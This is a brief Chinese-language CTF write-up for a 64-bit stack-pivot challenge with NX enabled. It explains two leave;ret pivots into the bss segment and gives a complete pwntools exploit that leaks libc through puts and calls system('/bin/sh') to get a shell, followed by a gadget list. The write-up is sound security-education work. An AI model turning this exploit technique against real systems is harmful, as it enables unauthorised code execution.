64位开启nx保护的栈迁移题目
ida主函数,可以看出只有一次溢出
第一次迁移栈到bss段上,调用read进行布栈操作,泄露libc基址,注意输入距离rbp为0x60,每次迁移都需要考虑偏移
payload=p64(0)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(0x60,b"a")+p64(bss_addr-0x60)+p64(leave_ret)
第二次迁移构造获取shell,也可以不迁移直接打one_gadget
迁移注意偏移量,这里-0xa8
我是gdb手调出来的,🥹
payload=p64(pop_rdi_ret)+p64(str_bin_sh)+p64(sys_addr)
payload=payload.ljust(0x60,b"a")+p64(bss_addr-0xa8)+p64(leave_ret)
完整exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./pwn1")
# io=remote("1.13.251.106",8005)
elf=ELF("./pwn1")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got=elf.got[b"puts"]
puts_plt=elf.plt[b"puts"]
bss_addr=0x404040+0x700
pop_rdi_ret=0x401283
leave_ret=0x401214
read_text=0x4011FD
main=0x4011db
gdb.attach(io)
pause()
io.recvuntil(b"\n")
payload=cyclic(0x60)+p64(bss_addr)+p64(read_text)
io.send(payload)
payload=p64(0)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(0x60,b"a")+p64(bss_addr-0x60)+p64(leave_ret)
io.send(payload)
base_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))-libc.sym[b"puts"]
print("base_addr: "+hex(base_addr))
sys_addr=base_addr+libc.sym[b"system"]
str_bin_sh=base_addr+next(libc.search(b"/bin/sh"))
io.recvuntil(b"\n")
payload=p64(pop_rdi_ret)+p64(str_bin_sh)+p64(sys_addr)
payload=payload.ljust(0x60,b"a")+p64(bss_addr-0xa8)+p64(leave_ret)
io.sendline(payload)
io.interactive()
# Gadgets information
# ============================================================
# 0x0000000000401214 : leave ; ret
# 0x000000000040127c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040127e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401280 : pop r14 ; pop r15 ; ret
# 0x0000000000401282 : pop r15 ; ret
# 0x000000000040127b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040127f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040115d : pop rbp ; ret
# 0x0000000000401283 : pop rdi ; ret
# 0x0000000000401281 : pop rsi ; pop r15 ; ret
# 0x000000000040127d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret
# Unique gadgets found: 12